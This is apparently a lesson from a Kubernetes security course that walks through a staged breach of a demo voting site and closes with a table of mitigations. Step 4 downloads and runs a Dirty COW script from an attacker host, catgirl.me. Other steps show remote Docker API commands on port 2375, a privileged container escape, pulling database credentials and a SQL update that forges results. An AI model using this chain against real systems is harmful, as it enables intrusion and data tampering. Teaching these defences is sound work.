Kubernetes and Cloud Native Security Associate (KCSA)

Overview of Cloud Native Security

The Attack

In this demo, we’ll walk through a real-world breach scenario targeting Kubernetes and Docker. You’ll see how an exposed Docker daemon, container escape, and an unsecured Kubernetes dashboard led to a full compromise. In subsequent lessons, we’ll dissect each step and discuss preventive controls.

Table of Contents

  1. High-Level Overview
  2. Step 1: DNS Resolution & Discovery
  3. Step 2: Port Scanning & Docker Daemon Exposure
  4. Step 3: Remote Docker API Enumeration
  5. Step 4: Container Escape via Dirty COW
  6. Step 5: Kubernetes Cluster Enumeration
  7. Step 6: Extracting Database Credentials
  8. Step 7: Tampering with Votes
  9. Attack Summary & Mitigations
  10. References

High-Level Overview

It’s the final day of the election between cats and dogs. Voters submit ballots at www.vote.com, and live results appear at www.result.com. Currently, dogs lead 71% to 29%:

The image shows a poll result with 29% for cats and 71% for dogs. The background is split into blue and teal sections.

A disgruntled user (“cat girl”) only knows these domains—nothing about the underlying stack. She embarks on a black-box attack, discovering:

  • Shared hosting (same IP for both domains)
  • An exposed Docker daemon on port 2375
  • A container escape via Dirty COW
  • An unsecured Kubernetes Dashboard on port 30080
  • Database credentials in plain environment variables
  • A direct path to flip votes via a SQL update

Step 1: DNS Resolution & Discovery

First, she resolves both domains:

ping www.vote.com
ping www.result.com

Both ping to 104.21.63.124, indicating a shared host.


Step 2: Port Scanning & Docker Daemon Exposure

A quick port scan reveals an open Docker API port:

zsh port-scan.sh 104.21.63.124
PortServiceStatusNotes
21FTPClosed
22SSHClosed
2375Docker DaemonOpenUnprotected Docker Remote API
3306MySQLClosed
30080N/AClosed(discovered later via iptables NAT)

Warning

An exposed Docker daemon on port 2375 allows unauthenticated remote commands. Always secure Docker API with TLS and authentication.


Step 3: Remote Docker API Enumeration

With the API open, she lists containers and checks the Docker Engine version:

docker -H tcp://104.21.63.124:2375 ps
docker -H tcp://104.21.63.124:2375 version

Output snippets:

  • Containers: Multiple k8s_* entries, indicating Kubernetes workloads
  • Server Version: Docker Engine 19.03.6, API v1.40

These findings confirm both Docker and Kubernetes are in use.


Step 4: Container Escape via Dirty COW

She launches a privileged Ubuntu container and exploits Dirty COW:

docker -H tcp://104.21.63.124:2375 run --privileged -it ubuntu bash
apt-get update && apt-get install -y curl
curl http://catgirl.me/dirty-cow.sh > dirty-cow.sh
chmod +x dirty-cow.sh
./dirty-cow.sh

The exploit grants root access on the host.

Note

Dirty COW is a Linux kernel privilege escalation vulnerability (CVE-2016-5195). Always keep kernels patched and restrict --privileged container usage.


Step 5: Kubernetes Cluster Enumeration

On the host, she inspects mounts and kernel info:

df -h
uname -a

The k8s_ prefixes reveal a Kubernetes cluster. By examining iptables NAT rules, she discovers port 30080 forwarding to the Kubernetes Dashboard.

Visiting http://104.21.63.124:30080 shows an unsecured dashboard:

The image shows a Kubernetes dashboard displaying information about two nodes, "worker" and "master," including their labels, readiness status, CPU and memory usage, and creation date.

Under Deployments, all services—db, redis, vote, result, worker—are visible:

The image shows a Kubernetes dashboard with a list of deployments, including "db," "redis," "result," "vote," and "worker." On the right, there is a diagram with Docker and Kubernetes logos, and URLs for "www.vote.com" and "www.result.com."

Warning

An unauthenticated Kubernetes Dashboard exposes cluster control. Always enforce RBAC, authentication, and network policies.


Step 6: Extracting Database Credentials

In the DB deployment’s environment variables, she finds Postgres credentials. She then executes into the DB container:

docker exec -it c0cd577317f2 bash
export PGPASSWORD=$POSTGRES_PASSWORD
psql --username=$POSTGRES_USER --dbname=$POSTGRES_DB

A quick check of running pods in the dashboard confirms all services are live:

The image shows a Kubernetes dashboard displaying a list of running pods with details such as name, namespace, labels, node, status, restarts, and creation time.


Step 7: Tampering with Votes

With DB access, she flips all dog votes to cats:

UPDATE votes
SET candidate = 'cats'
WHERE candidate = 'dogs';

The election results are now reversed.


Attack Summary & Mitigations

PhaseTechniqueMitigation
DNS & IP DiscoveryPing resolutionMonitor DNS queries, restrict exposed services
Port Scanningzsh port-scan.shHarden firewall, limit exposed ports
Docker API ExposureUnprotected port 2375Enable TLS auth, bind to localhost or use socket only
Container EscapeDirty COW (CVE-2016-5195)Patch kernel, disallow --privileged, use seccomp
Kubernetes Dashboard AccessUnauthenticated dashboardEnforce RBAC, enable auth, restrict network access
Credential ExtractionEnv vars in podsUse Secrets, encrypt at rest, audit pod specs
Data TamperingDirect SQL updateImplement DB auditing, use least-privilege accounts

References

Watch Video

Watch video content

Previous
Course Introduction